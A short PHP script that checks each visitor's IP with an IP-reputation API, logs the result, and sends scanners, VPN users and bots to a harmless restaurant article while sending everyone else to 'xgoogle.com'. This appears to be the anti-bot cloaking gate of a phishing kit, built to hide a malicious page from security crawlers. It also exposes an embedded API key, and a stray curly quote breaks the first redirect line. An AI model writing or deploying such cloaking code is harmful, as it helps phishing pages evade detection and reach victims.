<?php
header('Content-Type:application/json');
$ip_address=$_SERVER['REMOTE_ADDR'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.ipqualityscore.com/api/json/ip/oPVRqLTbrvEPCM9jiycNntFSnbbPwOXA/'.$ip_address.'');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
$result = curl_exec($ch);
$bot = "NOT BOT";
$details = json_decode($result,TRUE);
$vpn = $details['vpn'];
$tor = $details['tor'];
$bot_status = $details['bot_status'];
$fraud_score = $details['fraud_score'];
$proxy = $details['proxy'];
if($tor == true || $vpn == true || $bot_status == true || $fraud_score > 20 || $proxy == true )
{
$bot = "THIS IS BOT" ;
}
$hex = "CHECKING RESULT OF IP[".$ip_address."] => ".$bot."\n";
@fclose(@fwrite(@fopen("bot_res.txt", "a"),$hex));
if(strcmp($bot, "THIS IS BOT")!=0)
{
header("LOCATION: xgoogle.com”);
exit();
}
if(strcmp($bot, "THIS IS BOT")==0)
{
header("LOCATION: https://www.thebalancesmb.com/how-to-open-a-new-restaurant-2888644");
exit();
}
?>